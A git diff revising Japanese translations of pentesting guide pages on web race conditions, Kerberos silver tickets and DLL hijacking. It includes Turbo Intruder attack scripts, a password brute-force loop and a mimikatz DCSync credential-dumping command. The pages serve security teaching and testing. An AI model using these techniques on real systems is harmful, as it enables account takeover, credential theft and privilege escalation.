しかし、HTTP/1.1の '**ラストバイト同期**' 技術を使用すると、各リクエストからわずかなフラグメントを保留し、その後、**1つのTCPパケットで20〜30のリクエストを完了**することができます。
|
||||
|
||||
|
@ -52,19 +52,19 @@ HTTP2では、**1つのTCP接続で2つのリクエストを送信**できます
|
|||
|
||||
この技術を使用すると、ネットワークの揺らぎに関係なく、20〜30のリクエストがサーバーに同時に到着することができます。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ターゲットアーキテクチャに適応する**
|
||||
|
||||
多くのアプリケーションはフロントエンドサーバーの背後にあり、これらは一部のリクエストを既存の接続を介してバックエンドに転送し、他のリクエストに対しては新しい接続を作成する場合があります。
|
||||
|
||||
そのため、アプリケーションの動作による一貫性のないリクエストタイミングをロックメカニズムなどのアプリケーションの動作に帰することは重要ではありません。また、フロントエンドのリクエストルーティングは通常、接続ごとに行われるため、攻撃を実行する前にいくつかの無関係なリクエストをサーバーサイドで実行することにより、リクエストのタイミングをスムーズにすることができる場合があります(これは、実際の攻撃を開始する前にいくつかのリクエストを送信するだけです)。
|
||||
そのため、アプリケーションの動作による一貫性のないリクエストタイミングを、リクエストのタイミングを滑らかにするために、サーバーサイドの接続ウォーミングを実行することで、アプリケーションの動作によるロックメカニズムなどのリクエストタイミングを帰属しないようにすることが重要です(これは、実際の攻撃を開始する前に、いくつかの取るに足らないリクエストを接続に送信することです)。
|
||||
|
||||
#### セッションベースのロックメカニズム <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
|
||||
|
||||
一部のフレームワークでは、**リクエストロック**としての形式を使用して、データの誤った破損を防ぐことを試みています。たとえば、**PHPのネイティブセッションハンドラ**モジュールは、**1つのセッションあたり1つのリクエストのみ**を処理します。
|
||||
|
||||
このような動作を見つけることは非常に重要です。なぜなら、すべてのリクエストが順次処理されていることに気付かないと、簡単に悪用できる脆弱性をマスクする可能性があるからです。すべてのリクエストが順次処理されていることに気付いた場合は、それぞれのリクエストを異なるセッショントークンを使用して送信してみてください。
|
||||
このような動作を見つけることは非常に重要です。なぜなら、それによって簡単に悪用できる脆弱性が隠されてしまう可能性があるからです。すべてのリクエストが順次処理されていることに気付いた場合は、それぞれのリクエストを異なるセッショントークンを使用して送信してみてください。
|
||||
#### **レート制限またはリソース制限の乱用**
|
||||
|
||||
接続のウォーミングが効果がない場合、この問題に対するさまざまな解決策があります。
|
||||
|
@ -75,7 +75,7 @@ Turbo Intruderを使用すると、クライアント側で短い遅延を導入
|
|||
|
||||
代わりに、一般的なセキュリティ機能を乱用することで、この問題を解決できる場合があります。
|
||||
|
||||
Webサーバーは、リクエストがあまりにも速く送信された場合に、リクエストの処理を遅延させることがあります。ダミーリクエストを大量に送信してレート制限またはリソース制限を意図的にトリガーすることで、適切なサーバーサイドの遅延を引き起こすことができるかもしれません。これにより、遅延実行が必要な場合でも、シングルパケット攻撃が実行可能になります。
|
||||
Webサーバーは、リクエストがあまりにも速く送信された場合に、リクエストの処理を遅延させることがよくあります。ダミーの大量のリクエストを送信して、レート制限またはリソース制限を意図的にトリガーすることで、適切なサーバーサイドの遅延を引き起こすことができるかもしれません。これにより、遅延実行が必要な場合でも、シングルパケット攻撃が実行可能になります。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -85,11 +85,11 @@ Webサーバーは、リクエストがあまりにも速く送信された場
|
|||
|
||||
#### 攻撃の例
|
||||
|
||||
* **Tubo Intruder - HTTP2シングルパケット攻撃(1エンドポイント)**:リクエストを**Turbo Intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)に送信することができます。リクエスト内のブルートフォースしたい値を**`%s`**のように変更し、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します。
|
||||
* **Tubo Intruder - HTTP2シングルパケット攻撃(1エンドポイント)**:リクエストを**Turbo Intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)に送信することができます。リクエスト内のブルートフォースしたい値を**`%s`**のように変更し、`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`のように選択します。次に、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**異なる値を送信する**場合は、クリップボードからワードリストを使用する次のコードに変更できます。
|
||||
**異なる値を送信する**場合は、クリップボードからワードリストを使用する次のコードに変更できます:
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
|
@ -131,19 +131,19 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
|||
engine.openGate(currentAttempt)
|
||||
```
|
||||
* また、Burp Suiteの新しい「**Send group in parallel**」オプションを使用して、**Repeater**でも利用できます。
|
||||
* **limit-overrun**の場合、グループに**同じリクエストを50回**追加するだけです。
|
||||
* **connection warming**の場合、ウェブサーバーの非静的な部分にいくつかのリクエストをグループの**先頭**に**追加**することができます。
|
||||
* 2つのサブステートステップで**1つのリクエストともう1つのリクエストの間の処理を遅延**させる場合、両方のリクエストの間に**追加のリクエストを追加**することができます。
|
||||
* **multi-endpoint**のRCの場合、**隠れた状態に移動するリクエスト**を送信し、その後**その隠れた状態を悪用するリクエストを50回**送信します。
|
||||
* **limit-overrun**の場合、グループに同じリクエストを50回追加するだけです。
|
||||
* **connection warming**の場合、ウェブサーバーの非静的な部分にいくつかのリクエストをグループの**先頭**に追加することができます。
|
||||
* 2つのサブステップでのリクエストの処理**間**のプロセスを**遅延**させるためには、両方のリクエストの間に**追加のリクエストを追加**することができます。
|
||||
* **multi-endpoint** RCの場合、**隠れた状態**に向かうリクエストを送信し、その後それを**悪用する50のリクエスト**を送信します。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Raw BF
|
||||
|
||||
前の研究の前に、RCを引き起こすためにパケットをできるだけ速く送信しようとするいくつかのペイロードが使用されました。
|
||||
|
||||
* **Repeater:** 前のセクションの例を確認してください。
|
||||
* **Intruder**: **リクエスト**を**Intruder**に送信し、**オプションメニュー**内の**スレッド数**を**30**に設定し、ペイロードとして**Null payloads**を選択して**30**を生成します。
|
||||
* **Intruder**: **リクエスト**を**Intruder**に送信し、**オプションメニュー**で**スレッド数**を**30**に設定し、ペイロードとして**Null payloads**を選択して**30**を生成します。
|
||||
* **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
@ -193,7 +193,7 @@ asyncio.run(main())
|
|||
```
|
||||
## **RCの方法論**
|
||||
|
||||
### 制限オーバーラン/TOCTOU
|
||||
### 制限超過/TOCTOU
|
||||
|
||||
これは最も基本的なタイプの競合状態であり、**アクションを実行できる回数を制限する場所に現れる** **脆弱性**が存在します。たとえば、ウェブストアで同じ割引コードを複数回使用することです。[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)****に非常に簡単な例があります。
|
||||
|
||||
|
@ -207,39 +207,39 @@ asyncio.run(main())
|
|||
|
||||
### **隠れたサブステート**
|
||||
|
||||
他の最も複雑なRCは、攻撃者がアクセスすることを意図されていない状態を**乱用**できるマシンのサブステートを利用しますが、攻撃者がアクセスするための**小さなウィンドウ**があります。
|
||||
他の最も複雑なRCは、攻撃者がアクセスすることを意図されていない状態を**乱用**できる可能性のある**マシンのサブステート**を悪用しますが、攻撃者がアクセスするための**小さなウィンドウ**があります。
|
||||
|
||||
1. **潜在的な隠れた興味深いサブステートを予測する**
|
||||
|
||||
最初のステップは、それに書き込むか、それからデータを読み取り、それを重要な何かに使用するすべてのエンドポイントを特定することです。たとえば、ユーザーは登録、プロファイル編集、パスワードリセットの開始、パスワードリセットの完了によって変更されるデータベーステーブルに保存される場合があります。
|
||||
|
||||
次の3つの重要な質問を使用して、衝突の可能性が低いエンドポイントを除外できます。各オブジェクトと関連するエンドポイントについて、次のように尋ねます。
|
||||
エンドポイントと関連するエンドポイントごとに、次の3つの重要な質問を使用して、衝突の可能性が低いエンドポイントを除外できます。
|
||||
|
||||
* **状態はどのように保存されていますか?**
|
||||
|
||||
永続的なサーバーサイドのデータ構造に保存されているデータは、攻撃に適しています。一部のエンドポイントは、パスワードリセットなど、JWTをメールで送信することによって動作するように、完全にクライアントサイドに状態を保存します。これらは安全にスキップできます。
|
||||
永続的なサーバーサイドのデータ構造に保存されているデータは、悪用に適しています。一部のエンドポイントは、パスワードリセットなど、JWTをメールで送信することによって動作するように、完全にクライアントサイドに状態を保存します。これらは安全にスキップできます。
|
||||
|
||||
アプリケーションは、ユーザーセッションに一部の状態を保存することがよくあります。これらは通常、サブステートに対してある程度保護されています。後で詳しく説明します。
|
||||
|
||||
* **編集または追加していますか?**
|
||||
|
||||
既存のデータを編集する操作(アカウントの主なメールアドレスの変更など)は、十分な衝突の可能性がありますが、既存のデータに追加するだけの操作(追加のメールアドレスの追加など)は、制限オーバーラン攻撃以外の脆弱性に対して脆弱ではありません。
|
||||
既存のデータを編集する操作(アカウントの主なメールアドレスの変更など)は、十分な衝突の可能性がありますが、既存のデータに追加するだけの操作(追加のメールアドレスの追加など)は、制限超過攻撃以外の脆弱性に対して脆弱性を持つ可能性は低いです。
|
||||
|
||||
* **操作は何にキー付けられていますか?**
|
||||
|
||||
ほとんどのエンドポイントは、ユーザー名、パスワードリセットトークン、ファイル名などの「キー」を使用して検索される特定のレコードで動作します。成功した攻撃には、同じキーを使用する2つの操作が必要です。たとえば、2つの考えられるパスワードリセットの実装を想像してみてください。
|
||||
ほとんどのエンドポイントは、ユーザ名、パスワードリセットトークン、ファイル名などの「キー」を使用して検索される特定のレコードで動作します。成功した攻撃には、同じキーを使用する2つの操作が必要です。たとえば、2つの考えられるパスワードリセットの実装を想像してみてください。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **手がかりを探る**
|
||||
|
||||
この時点で、潜在的に興味深いエンドポイントに対していくつかのRC攻撃を**実行**して、通常のものとは異なる結果を見つけようとします。応答の変化や、異なるメールの内容やセッションの目に見える変化など、予想外の応答の変化は、何かが間違っていることを示す手がかりになる可能性があります。
|
||||
この時点で、潜在的に興味深いエンドポイントに対していくつかのRC攻撃を**実行**して、通常のものとは異なる結果を見つけようとします。応答の変化や、異なるメールの内容やセッションの目に見える変化など、予想される応答からの逸脱は、何かが間違っていることを示す手がかりになる可能性があります。
|
||||
|
||||
3. **コンセプトを証明する**
|
||||
|
||||
最後のステップは、**コンセプトを証明し、攻撃可能な攻撃に変える**ことです。
|
||||
|
||||
一括リクエストを送信すると、初期のリクエストペアが脆弱なエンドステートをトリガーする場合がありますが、後のリクエストがそれを上書き/無効にし、最終的な状態は攻撃できないものになります。このシナリオでは、不要なリクエストをすべて削除する必要があります。ほとんどの脆弱性を悪用するには2つのリクエストが十分です。ただし、2つのリクエストにすると、攻撃のタイミングが重要になるため、攻撃を複数回リトライするか、自動化する必要がある場合があります。
|
||||
一括のリクエストを送信すると、初期のリクエストペアが脆弱なエンドステートをトリガーする場合がありますが、後のリクエストがそれを上書き/無効にし、最終的な状態は攻撃できないものになります。このシナリオでは、不要なリクエストをすべて削除する必要があります。ほとんどの脆弱性を悪用するには2つのリクエストが十分です。ただし、2つのリクエストにすると、攻撃のタイミングがより重要になるため、攻撃を複数回リトライするか、自動化する必要がある場合があります。
|
||||
|
||||
### タイムセンシティブ攻撃
|
||||
|
||||
|
@ -250,7 +250,7 @@ asyncio.run(main())
|
|||
タイムスタンプのみを使用してランダム化された**パスワードリセットトークン**を考えてみましょう。この場合、**同じトークン**を生成するようにリクエストのタイミングを合わせることで、**2つの異なるユーザーのために2つのパスワードリセットをトリガー**することができるかもしれません。
|
||||
|
||||
{% hint style="warning" %}
|
||||
たとえば、前述の状況を確認するには、**同時に2つのパスワードリセットトークンを要求**(シングルパケット攻撃を使用)し、それらが**同じ**であるかどうかを確認します。
|
||||
たとえば、前述の状況を確認するには、**同時に2つのパスワードリセットトークンを要求**(シングルパケット攻撃を使用)し、それらが**同じ**かどうかを確認します。
|
||||
{% endhint %}
|
||||
|
||||
[**このラボの例**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)を確認してください。
|
||||
|
@ -263,9 +263,9 @@ asyncio.run(main())
|
|||
|
||||
### 他のメールの確認
|
||||
|
||||
アイデアは、**メールアドレスを確認し、同時に別のメールアドレスに変更**することで、プラットフォームが新しいメールアドレスを確認するかどうかを確認することです。
|
||||
アイデアは、**メールアドレスを確認し、同時に別のメールアドレスに変更**し、プラットフォームが新しいメールアドレスを確認するかどうかを確認することです。
|
||||
|
||||
### 2つのメールアドレスにCookieを使用してメールアドレスを変更する
|
||||
### 2つのメールアドレスにCookieを使用してメールアドレスを変更
|
||||
|
||||
[**この解説**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取られる可能性がありました。なぜなら、Gitlabは**1つのメールアドレスのメール確認トークンを他のメールアドレスに送信**する可能性があるからです。
|
||||
|
||||
|
@ -273,7 +273,7 @@ asyncio.run(main())
|
|||
|
||||
### 隠れたデータベースの状態/確認バイパス
|
||||
|
||||
**2つの異なる書き込み**が使用されて**データベース**に**情報**を**追加**する場合、最初のデ
|
||||
**2つの異なる書き込み**が**データベース**内に**情報を追加**する場合、最初のデータがデータベースに
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
@ -290,7 +290,7 @@ session['enforce_mfa'] = True
|
|||
|
||||
#### `authorization_code`における競合状態
|
||||
|
||||
**問題**は、**それを受け入れ**、自動的に**`authorization_code`**を悪意のあるアプリケーションに送信するときに発生します。その後、この**アプリケーションはOAuthサービスプロバイダー内の競合状態を悪用して、`authorization_code`から複数のAT/RT**(_認証トークン/リフレッシュトークン_)を生成します。基本的には、あなたがアプリケーションがデータにアクセスすることを許可したことを悪用して、**複数のアカウントを作成**します。その後、**アプリケーションにデータへのアクセスを許可しなくなると、1組のAT/RTは削除されますが、他のものは有効のまま**です。
|
||||
**問題**は、**それを受け入れ**、自動的に**`authorization_code`**を悪意のあるアプリケーションに送信するときに発生します。その後、この**アプリケーションはOAuthサービスプロバイダー内の競合状態を悪用して、`authorization_code`から複数のAT/RT**(_認証トークン/リフレッシュトークン_)を生成します。基本的には、あなたがアプリケーションがデータにアクセスすることを許可したことを悪用して、**複数のアカウントを作成**します。その後、**アプリケーションにデータへのアクセスを許可しなくなると、1つのAT/RTのペアは削除されますが、他のものは有効のまま**です。
|
||||
|
||||
#### `Refresh Token`における競合状態
|
||||
|
||||
|
@ -298,7 +298,7 @@ session['enforce_mfa'] = True
|
|||
|
||||
## **WebSocketsにおけるRC**
|
||||
|
||||
[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC)では、**Web Socketsでも競合状態を悪用**するために、**並列で**WebSocketメッセージを送信するためのJavaのPoCを見つけることができます。
|
||||
[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC)では、**Web Socketsでも競合状態を悪用するために**、**並列**にWebSocketメッセージを送信するためのJavaのPoCを見つけることができます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
|
|
@ -12,19 +12,19 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不可能なものを解読する**ことに興味があるなら、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不能なものを解読する**ことに興味があるなら、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## シルバーチケット
|
||||
|
||||
シルバーチケット攻撃は、**サービスのNTLMハッシュ(PCアカウントハッシュなど)を所有している場合に、有効なTGSを作成する**ことに基づいています。したがって、任意のユーザーとしてカスタムTGSを偽造することで、そのサービスに**アクセスできる**可能性があります。
|
||||
シルバーチケット攻撃は、**サービスのNTLMハッシュ(PCアカウントハッシュなど)を所有している場合に、有効なTGSを作成する**ことに基づいています。したがって、任意のユーザーとしてカスタムTGSを偽造することで、**そのサービスにアクセス**することができます。
|
||||
|
||||
この場合、Active Directory(AD)の中でユーザーアカウントの一種である**コンピューターアカウントのNTLMハッシュ**が**所有**されています。したがって、SMBサービスを介して**管理者権限を持つ**マシンに**入るためのチケット**を作成することができます。コンピューターアカウントはデフォルトで30日ごとにパスワードをリセットします。
|
||||
この場合、**コンピューターアカウントのNTLMハッシュ**(AD内のユーザーアカウントの一種)が**所有**されています。したがって、SMBサービスを介して**管理者**特権でそのマシンに**入るためのチケット**を作成することが可能です。コンピューターアカウントはデフォルトで30日ごとにパスワードをリセットします。
|
||||
|
||||
また、AES Kerberosキー(AES128およびAES256)を使用してチケットを偽造することが可能であり、**推奨されます**(opsec)。AESキーの生成方法については、[MS-KILEのセクション4.4](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625)または[Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)を参照してください。
|
||||
また、AES Kerberosキー(AES128およびAES256)を使用してチケットを偽造することが可能であり、**好ましい**(opsec)です。AESキーの生成方法については、[MS-KILEのセクション4.4](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625)または[Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)を参照してください。
|
||||
|
||||
{% code title="Linux" %}
|
||||
```bash
|
||||
|
@ -158,7 +158,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -171,7 +171,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
**ハッキングのキャリア**に興味がある方、そして**解読不可能なものをハック**したい方 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -22,18 +22,18 @@
|
|||
|
||||
まず、定義を確認しましょう。DLLハイジャッキングは、最も広義には、**正規/信頼されたアプリケーションを誤って/トリックして任意のDLLを読み込ませる**ことです。_DLL Search Order Hijacking_、_DLL Load Order Hijacking_、_DLL Spoofing_、_DLL Injection_、_DLL Side-Loading_などの用語は、しばしば間違って同じ意味で使用されます。
|
||||
|
||||
Dllハイジャッキングは、**コードの実行**、**永続性の確保**、**特権のエスカレーション**に使用できます。この3つのうち、**特権のエスカレーション**は非常に少ない可能性です。ただし、これは特権のエスカレーションセクションの一部であるため、このオプションに焦点を当てます。また、目標に関係なく、dllハイジャッキングは同じ方法で実行されます。
|
||||
Dllハイジャッキングは、**コードの実行**、**永続性の確保**、**特権のエスカレーション**に使用できます。この3つのうち、**特権のエスカレーション**は非常に見つけにくいです。ただし、これは特権エスカレーションセクションの一部であるため、このオプションに焦点を当てます。また、目標に関係なく、dllハイジャッキングは同じ方法で実行されます。
|
||||
|
||||
### タイプ
|
||||
|
||||
アプリケーションが必要なDLLをロードする方法に応じて、さまざまなアプローチがあります。成功は、アプリケーションがDLLをロードする方法によって異なります。可能なアプローチには次のものがあります。
|
||||
|
||||
1. **DLLの置き換え**: 正規のDLLを悪意のあるDLLで置き換えます。これは、元のDLLのすべての機能が維持されるようにするために、_DLL Proxying_ \[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)]と組み合わせることができます。
|
||||
2. **DLL検索順序のハイジャック**: パスのないアプリケーションによって指定されたDLLは、特定の順序で固定された場所で検索されます \[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]。ハイジャックは、悪意のあるDLLを実際のDLLよりも先に検索される場所に配置することで行われます。これには、対象アプリケーションの作業ディレクトリも含まれる場合があります。
|
||||
2. **DLL検索順序のハイジャック**: パスのないアプリケーションが指定したDLLは、特定の順序で固定された場所で検索されます \[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]。ハイジャックは、悪意のあるDLLを実際のDLLよりも先に検索される場所に配置することで行われます。これには、対象アプリケーションの作業ディレクトリも含まれる場合があります。
|
||||
3. **Phantom DLLハイジャック**: 正規のアプリケーションが読み込もうとする欠落/存在しないDLLの代わりに悪意のあるDLLを配置します \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
|
||||
4. **DLLリダイレクト**: DLLの検索場所を変更します。たとえば、`%PATH%`環境変数を編集するか、`.exe.manifest` / `.exe.local`ファイルを編集して、悪意のあるDLLを含むフォルダを追加します \[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。
|
||||
5. **WinSxS DLLの置き換え**: 対象のDLLの関連するWinSxSフォルダに正規のDLLを悪意のあるDLLで置き換えます。DLLサイドローディングとも呼ばれることがよくあります \[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)]。
|
||||
6. **相対パスDLLハイジャック**: 正規のアプリケーションをユーザーが書き込み可能なフォルダにコピー(オプションで名前を変更)し、悪意のあるDLLと一緒に配置します。使用方法によっては、(署名された)バイナリプロキシ実行 \[[8](https://attack.mitre.org/techniques/T1218/)]と類似点があります。これのバリエーションは、(ややオキシモロン的に呼ばれる)「_bring your own LOLbin_」 \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)]で、正規のアプリケーションが悪意のあるDLLと一緒に持ち込まれます(被害者のマシンの正規の場所からコピーされるのではなく)。
|
||||
6. **相対パスDLLハイジャック**: 正規のアプリケーションをユーザーが書き込み可能なフォルダにコピー(オプションで名前を変更)し、悪意のあるDLLと一緒に配置します。使用方法によっては、(署名された)バイナリプロキシ実行 \[[8](https://attack.mitre.org/techniques/T1218/)]と類似点があります。これのバリエーションは、(ややオキシモロン的に)「_bring your own LOLbin_」 \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)]と呼ばれ、正規のアプリケーションが悪意のあるDLLと一緒に持ち込まれます(被害者のマシンの正規の場所からコピーされるのではなく)。
|
||||
|
||||
## 欠落しているDllを見つける
|
||||
|
||||
|
@ -47,30 +47,30 @@ Dllハイジャッキングは、**コードの実行**、**永続性の確保**
|
|||
|
||||
![](<../../.gitbook/assets/image (314).png>)
|
||||
|
||||
**一般的な欠落しているdllを探している場合**は、これを数秒間実行しておきます。\
|
||||
**特定の実行可能ファイル内の欠落しているdllを探している場合**は、**「プロセス名」が「\<exec name>」を含む**ような別のフィルタを設定し、実行してイベントのキャプチャを停止します。
|
||||
**一般的な欠落しているdllを探している**場合は、これを数秒間実行しておきます。\
|
||||
**特定の実行可能ファイル内の欠落しているdllを探している**場合は、**「プロセス名」が「\<exec name>」を含む**ような別のフィルタを設定し、実行してイベントのキャプチャを停止します。
|
||||
## ミッシングDLLの悪用
|
||||
|
||||
特権をエスカレーションするために、私たちが最も良いチャンスを持っているのは、特権プロセスが**検索される場所**で**ロードしようとするdllを書く**ことができることです。したがって、**オリジナルのdll**よりも前に検索される**フォルダ**にdllを**書き込む**ことができます(奇妙なケース)、またはdllがどのフォルダにも存在しない**フォルダ**に**書き込む**ことができます。
|
||||
特権をエスカレーションするために、私たちが最も良いチャンスを持っているのは、特権プロセスが**検索される場所**で**ロードしようとするdllを書く**ことができることです。したがって、**オリジナルのdll**が存在しない**フォルダ**に**dllを書き込む**ことができます(奇妙なケース)、または**dllが検索されるフォルダ**に**書き込む**ことができます。
|
||||
|
||||
### DLLの検索順序
|
||||
|
||||
一般的に、**Windowsアプリケーション**は、DLLを見つけるために**事前に定義された検索パス**を使用し、特定の順序でこれらのパスをチェックします。 DLLハイジャックは通常、悪意のあるDLLをこれらのフォルダの1つに配置し、そのDLLが正当なDLLよりも先に見つかるようにします。この問題は、アプリケーションが必要なDLLに絶対パスを指定することで緩和することができます。
|
||||
